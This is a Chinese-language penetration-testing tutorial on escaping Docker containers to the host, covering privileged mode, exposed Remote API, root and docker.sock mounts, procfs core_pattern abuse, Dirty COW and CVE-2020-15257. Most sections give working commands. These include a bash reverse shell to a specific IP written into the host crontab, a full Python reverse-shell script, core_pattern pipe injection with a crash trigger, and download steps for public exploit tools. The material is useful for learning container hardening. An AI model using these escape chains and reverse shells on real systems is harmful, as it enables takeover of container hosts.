关于Docker逃逸
文章目录
- 关于Docker逃逸
- 前言
- 一、判断是否为docker容器？
- 二、privileged特权模式启动容器逃逸
- 三、 Docker Remote API未授权访问逃逸
- 四、危险挂载导致Docker逃逸
- 五、危险挂载Docker Socket逃逸
- 六、 挂载宿主机procfs逃逸
- 七、脏牛漏洞来进行docker逃逸
- 八、CVE-2020-15257逃逸
- 总结
前言
Dcoker作为开源容器引擎，作为一种操作系统级别虚拟化技术，已经被广泛应用于比赛，生产测试环境中，究其原因是Docker解决了环境部署复杂的问题，使应用程序能够进行打包，那么在渗透中，docker逃逸也必不可少。
一、判断是否为docker容器？
-
直接查看目录是否有docker产生的.dockerenv，dockerpoint等文件
-
查看/proc/self/cgroup是否出现docker标志
-
查看是否存在/etc/machine-id，一般docker没有
二、privileged特权模式启动容器逃逸
-
当利用特权模式启动容器时，docker管理员可以通过mount命令将外部宿主机的磁盘设备挂载进容器内，获取宿主机的文件读写权限，然后可以通过crontab计划等逃逸到宿主机。
-
判断是否特全模式启动
cat /proc/self/status |grep Cap，对应掩码为0000003fffffffff
- 在docker中创建目录，然后将宿主机的磁盘挂载到新建的目录中
- 将反弹shell等写入计划任务
echo "bash -i >& /dev/tcp/120.79.29.170/4444 0>&1" >/aiwin/aiwin.sh
echo "* * * * * root bash /aiwin.sh" >> /aiwin/etc/crontab
- 反弹shell成功
原理十分简单，特权模式使得宿主机磁盘被挂载到了docker的目录，修改docker目录中的/etc/crontab相当于修改了宿主机的/etc/crontab
三、 Docker Remote API未授权访问逃逸
- docker swarm用于管理Docker集群，docker节点上会开放一个TCP端口2375，默认绑定0.0.0.0，导致了任何人都开源访问，进而控制docker环境。
- 使用vulhub的漏洞环境
cd vulhub-master/docker/unauthorized-rce
docker-compose build
docker-compose up -d
这里启动不成功，不知道为什么，但是原理就是通过docker利用tcp连接访问2375端口，然后从2375端口中拉取镜像，再利用特权模式启动，最后再通过特权模式写shell进入宿主机，进而完成逃逸，主要原因是2375管理端口能被任何人使用。
四、危险挂载导致Docker逃逸
这里的危险挂载指的是将宿主机的根目录挂载进了docker机中，使得docker能够直接操作宿主机的文件，导致逃逸，跟特权模式原理相似。
docker run -itd -v /:/aiwin name /bin/bash
-
docker机的aiwin目录就是宿主机的根目录
-
直接修改/etc/crontab文件写入反弹shell
-
反弹shell成功
五、危险挂载Docker Socket逃逸
Docker采用的是C/S架构即客户端服务端格式，可以通过以下命令操作目标的docker。
unix:///var/run/docker.sock
tcp://host:port
fd://socketfd
造成逃逸的原因是将宿主机的/var/run/docker.sock文件挂载到docker容器中，导致docker容器中可以操作宿主机的docker，进而能新创建docker从而将根目录挂载到新创建的docker中造成逃逸。
- 将/var/run/docker.sock挂载到docker容器中，此时docker容器中会出现/run/docker.sock文件
docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:16.04 /bin/bash
- 在docker容器中安装docker
apt-get update
apt-get install docker.io
- 在docker容器中使用命令查看宿主机的docker镜像
docker -H unix://var/run/docker.sock images
- 在docker容器中使用命令再允许一个docker容器，并将根目录挂载到docker容器目录中，写shell到定时计划
docker -H unix://var/run/docker.sock run -v /:/aiwin -it ubuntu:16.04 /bin/bash
5. 写shell与上面一样
六、 挂载宿主机procfs逃逸
procfs中/proc/sys/kernel/core_pattern负责配置进程崩溃时内存转储数据的导出方式，当文件中首字符是管道符|，该行剩余内容被当作脚本解释执行，从而实现docker逃逸，触发条件是进程崩溃。
- 启动容器，将/proc/sys/kernel/core_pattern挂载进容器，如果找到两个core_pattern，那么可能就是挂载了宿主机的procfs
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern
- 搜索docker容器在宿主机的绝对路径，workdir即是
- python脚本反弹shell
import os
import pty
import socket
lhost = "120.79.29.170"
lport = 4444
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
s.close()
if __name__ == "__main__":
main()
- 修改/host/proc/sys/kernel/core_pattern从而修改掉/proc/sys/kernel/core_pattern文件，以管道符开头，使得python脚本被执行
chmod 777 /tmp/.t.py
echo -e "|/绝对路径/merged/脚本位置 \rcore " > /host/proc/sys/kernel/core_pattern
5. 创建使容器崩溃的程序，编译运行，反弹shell成功。
#include<stdio.h>
int main(void) {
int *a = NULL;
*a = 1;
return 0;
}
简单的NULL陷阱，没有为a开辟内存又给a赋值，使得程序崩溃。
七、脏牛漏洞来进行docker逃逸
-
脏牛漏洞的成因是get_user_page内核函数在处理Copy-on-Write过程时，可能产生竞态条件，导致出现了能够写数据到进程空间只读内存区域的机会。
-
linux中存在VDSO小型共享库，能将内核自动映射到用户程序的地址空间，即将内核函数映射到内存。
-
当linux存在脏牛漏洞时，我们可以利用脏牛漏洞获取到内存的写权限，便可以写入shellcode到VDSO中，使得调用正常函数时执行shellcode，进而反弹shell，从而实现dokcer逃逸。
-
拉取Ubuntu14.04.5版本进行复现，存在脏牛漏洞
git clone https://github.com/scumjr/dirtycow-vdso.git
cd /dirtycow-vdso/
make
5. 执行文件反弹shell，这里虽然显示失败了，但是反弹shell却成功了
八、CVE-2020-15257逃逸
在host模式下启动时，容器和host共享一套Network，且内部UID为0时，使得容器中的程序可以访问宿主的 containerd 控制API，导致逃逸。
影响版本
containerd < 1.4.3
containerd < 1.3.9
- 下载指定的docker版本，使用–neit=host启动镜像
docker pull ubuntu:18.04
docker run -itd --net=host ubuntu:18.04 /bin/bash
docker exec -it 5be3ed60f152 /bin/bash
- 使用wget下载exp并解压
cd /tmp
wget https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz
- 执行exp即可反弹shell
总结
总的来说，docker逃逸大部分原因都是配置出现的错误，导致能够在docker机里面直接修改宿主机的一些文件，包括挂载了socket、procfs、/等，只有少部分是由于内核漏洞导致的，所以处理好配置问题，docker逃逸应该挺难。
参考文章
